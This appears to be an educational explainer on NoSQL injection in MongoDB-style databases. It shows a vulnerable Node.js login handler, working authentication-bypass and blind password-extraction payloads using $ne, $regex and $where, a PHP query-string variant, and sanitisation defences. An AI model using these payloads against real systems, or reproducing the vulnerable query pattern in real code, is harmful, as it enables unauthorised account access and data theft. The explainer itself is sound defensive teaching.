NoSQL Injection is a vulnerability that allows attackers to interfere with queries to NoSQL databases like MongoDB, CouchDB, or Redis. Unlike SQL injection, NoSQL injection often exploits JSON/BSON query operators or JavaScript evaluation to bypass authentication and extract data.
NoSQL databases use different query languages and structures than SQL. When user input is incorporated into queries without proper validation, attackers can inject operators or code that changes the query's behavior.
// Vulnerable Node.js code
app.post('/login', (req, res) => {
db.users.findOne({
username: req.body.username,
password: req.body.password
});
});
// Normal request
{"username": "admin", "password": "secret"}
// Attack: Inject $ne operator
{"username": "admin", "password": {"$ne": ""}}
// Query becomes: find where password != ""
// Returns admin user regardless of password!
// Alternative attacks
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
// If $where is used with user input
{"$where": "this.username == '" + input + "'"}
// Attack: JavaScript injection
' || '1'=='1
' || this.password.match(/^a/)//
// Blind extraction character by character
{"$where": "this.password.charAt(0) == 'a'"}
$ne (not equal): Bypass equality checks$gt / $lt: Greater/less than comparisons$regex: Pattern matching for data extraction$where: JavaScript evaluation (most dangerous)$or / $and: Logical operator injection// PHP automatically parses arrays from query strings
// URL: /login?username=admin&password[$ne]=x
// Results in:
$_GET = [
'username' => 'admin',
'password' => ['$ne' => 'x']
]
// Query becomes authentication bypass
$ prefixed keys from input$where and mapReduce if not needed// Sanitize input to prevent operator injection
function sanitize(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
const clean = {};
for (const key of Object.keys(obj)) {
if (key.startsWith('$')) continue; // Remove operators
clean[key] = sanitize(obj[key]);
}
return clean;
}
// Or enforce string type
const username = String(req.body.username);
const password = String(req.body.password);